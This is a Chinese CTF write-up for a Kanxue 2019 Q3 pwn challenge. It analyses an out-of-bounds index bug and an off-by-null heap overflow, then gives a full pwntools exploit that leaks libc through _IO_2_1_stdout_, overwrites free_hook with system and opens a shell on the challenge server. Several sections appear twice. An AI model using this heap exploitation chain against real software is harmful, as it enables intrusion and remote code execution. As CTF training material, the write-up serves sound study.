-
-
[原创]看雪CTF2019Q3第四题WP
-
发表于: 2019-9-25 18:23 6128
-
一、漏洞
存在2个漏洞点,都在编辑函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag( struct vmpInfo *result, unsigned int subValue, char size, __int16 a4) { result->global->cmpReg |= a4 & 1; result->global->cmpReg |= a4 & 0x800; if ( ( signed int )subValue <= 0 || subValue >> (size - 1) ) { if ( subValue ) { result->global->cmpReg |= 0x80u; // 小于标志 result->global->cmpReg &= 0xFFFFFFBF; } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg |= 0x40u; // 等于标志 } } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg &= 0xFFFFFFBF; } if ( !(subValue & 1) ) result->global->cmpReg |= 4u; result->global->cmpReg1 = result->global->cmpReg; return result; } |
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | char *__fastcall readBuf( char *buf, int size) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset (&s, 0, 8uLL); for ( i = 0; i < size; ++i ) { if ( read(0, &s, 1uLL) <= 0 ) exit (1); if ( s == 0xA ) break ; buf[i] = s; } result = ( char *)(unsigned int )i; if ( i == size ) { result = &buf[i]; *result = 0; } return result; } |
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
输入索引-6后可以更改
_IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先
_IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
1 | ayload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) |
其中thunk_ptr = pwn_base + globalVar_offset + 0x38
5、删除4号内存
使得3号内存数组指针执行2号内存地址
6、编辑3号内存,使得2号内存指向想要写的地址,就可以实现任意地址写。
三脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | #!/usr/bin/python # coding:utf-8 from pwn import * from zio import * #context(log_level='debug') __malloc_hook_ptr_offset = 0x3C3EF0 libc_base = 0 system_offset = 0x45390 freehookBk_offset = 0x202058 globalVar_offset = 0x202080 def menu(cmd): io.sendlineafter( "4.quit" ,str(cmd)) def add(size): menu(1) io.sendlineafter( "Input size : " ,str(size)) def delete (index): menu(2) io.sendlineafter( "Input idx : " ,str(index)) def edit(index,data): menu(3) io.sendlineafter( "Input idx : " ,str(index)) io.sendlineafter( "Input text : " ,data) if __name__ == '__main__' : #io = process('./pwn') io = remote( '154.8.174.214' , 10001) #get libcBase edit(-6, p64(0xfbad1800)+p64(0x0)*3+ '\x60' ) data = u64(io.recv(6).ljust(8, '\x00' )) libc_base = data - 0x3C56A4 print 'libc_base = ' + str(hex(libc_base)) system_addr = libc_base + system_offset print 'system_addr = ' + str(hex(system_addr)) #get pwn base __malloc_hook_ptr = libc_base + __malloc_hook_ptr_offset print '__malloc_hook_ptr = ' + str(hex(__malloc_hook_ptr)) edit(-6, p64(0xfbad1800)+p64(0x0)*3+ p64(__malloc_hook_ptr)) pwn_malloc_hook_ptr = u64(io.recv(6).ljust(8, '\x00' )) print 'pwn_malloc_hook_ptr = ' + str(hex(pwn_malloc_hook_ptr)) pwn_base = pwn_malloc_hook_ptr - 0x202020 print 'pwn_base = ' + str(hex(pwn_base)) thunk_ptr = pwn_base + globalVar_offset + 0x38 feehookBk_addr = pwn_base + freehookBk_offset print 'thunk_ptr = ' + str(hex(thunk_ptr)) print 'feehookBk_addr = ' + str(hex(feehookBk_addr)) add(248) add(248) add(248) add(248) add(248) add(248) print 'add ok' payload = p64(0x110) + p64(0xf1) + p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0) edit(3, payload) print 'delete 4' delete (4) payload = p64(0xF8) + p64(feehookBk_addr) edit(3, payload) print 'feehookBk_addr ok' payload = p64(system_addr) edit(2, payload) print 'system call ok' edit(1, '/bin/sh\x00' ) print 'shell bin' delete (1) print 'get shell' io.interactive() #gdb.attach(proc.pidof(io)[0]) print 'pause...' |
四: flag = flag{4ca9ae5d7c835994cc62d34f92ef95ce}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | struct vmpInfo *__fastcall vmp_opcode_0x08_setCmpFlag( struct vmpInfo *result, unsigned int subValue, char size, __int16 a4) { result->global->cmpReg |= a4 & 1; result->global->cmpReg |= a4 & 0x800; if ( ( signed int )subValue <= 0 || subValue >> (size - 1) ) { if ( subValue ) { result->global->cmpReg |= 0x80u; // 小于标志 result->global->cmpReg &= 0xFFFFFFBF; } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg |= 0x40u; // 等于标志 } } else { result->global->cmpReg &= 0xFFFFFF7F; result->global->cmpReg &= 0xFFFFFFBF; } if ( !(subValue & 1) ) result->global->cmpReg |= 4u; result->global->cmpReg1 = result->global->cmpReg; return result; } |
1、 漏洞点1:没有对输入的索引进行范围判断,造成数组越界
2、在对BUF写入是存在0字节溢出漏洞,多写一个0到堆中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | char *__fastcall readBuf( char *buf, int size) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset (&s, 0, 8uLL); for ( i = 0; i < size; ++i ) { if ( read(0, &s, 1uLL) <= 0 ) exit (1); if ( s == 0xA ) break ; buf[i] = s; } result = ( char *)(unsigned int )i; if ( i == size ) { result = &buf[i]; *result = 0; } return result; } |
二、漏洞利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | char *__fastcall readBuf( char *buf, int size) { char *result; // rax int i; // [rsp+1Ch] [rbp-14h] char s; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); memset (&s, 0, 8uLL); for ( i = 0; i < size; ++i ) { if ( read(0, &s, 1uLL) <= 0 ) exit (1); if ( s == 0xA ) break ; buf[i] = s; } result = ( char *)(unsigned int )i; if ( i == size ) { result = &buf[i]; *result = 0; } return result; } |
二、漏洞利用
1、可以使用漏洞1进行打印出libc以及exe基址: 利用具体利用的是 _IO_2_1_stdout_。
输入索引-6后可以更改
_IO_2_1_stdout_ 的内容。漏洞具体利用参考:利用 _IO_2_1_stdout_ 泄露信息
2、0字节溢出漏洞即为 off-by-one漏洞,具体参见:off by null漏洞getshell示例
三、获取shell
1、首先
_IO_2_1_stdout_利用它可以打印出libc地址
2、由于程序hook了 malloc_hook与free_hook,因此在libc中存在exe的函数,将其打印出来既可以获取exe基址
3、申请5个0xF8大小chunk
4、编辑3号内存,输入如下数据,并造成溢出,更改4号chunk的pre_used标志位0
赞赏
他的文章
- 看雪CTF 2019总决赛 第六题 三道八佛 IDA脱壳脚本 5861
- [原创]看雪CTF2019Q3第四题WP 6129
- [原创]看雪CTF2019Q3 第二题WP 7033
- [2019看雪CTF晋级赛Q3第九题WP 12771
- [原创]看雪CTF2019晋级赛Q2第三题 5194
赞赏
雪币:
留言: